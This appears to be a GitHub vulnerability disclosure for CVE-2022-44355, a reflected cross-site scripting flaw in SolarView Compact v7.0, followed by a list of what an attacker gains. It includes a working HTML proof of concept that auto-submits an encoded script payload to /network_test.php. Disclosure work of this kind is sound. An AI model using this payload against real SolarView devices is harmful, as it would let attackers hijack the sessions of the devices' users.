strik3r0x1 Update SolarView Compact XSS up to 7.0.md History

1 contributor

29 lines (24 sloc) | 1.37 KB

Cross-site Scripting (XSS) in all SolarView Compact v7.00

Description

CVE-2022-44355 Cross-site Scripting (XSS) - Reflected in SolarView Compact v7.0 via crafted POST request to /network_test.php

POC

When someone opens this html file, or we can add it into our website, XSS will execute.

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://{HOST}/network_test.php" method="POST">
      <input type="hidden" name="host" value="127&#46;0&#46;0&#46;1" />
      <input type="hidden" name="command" value="test&apos;&lt;script&gt;alert&#40;'XSS_By_Strik3r'&#41;&lt;&#47;script&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Impact

The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

- Perform any action within the application that the user can perform.
- View any information that the user is able to view.
- Modify any information that the user is able to modify.
- Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.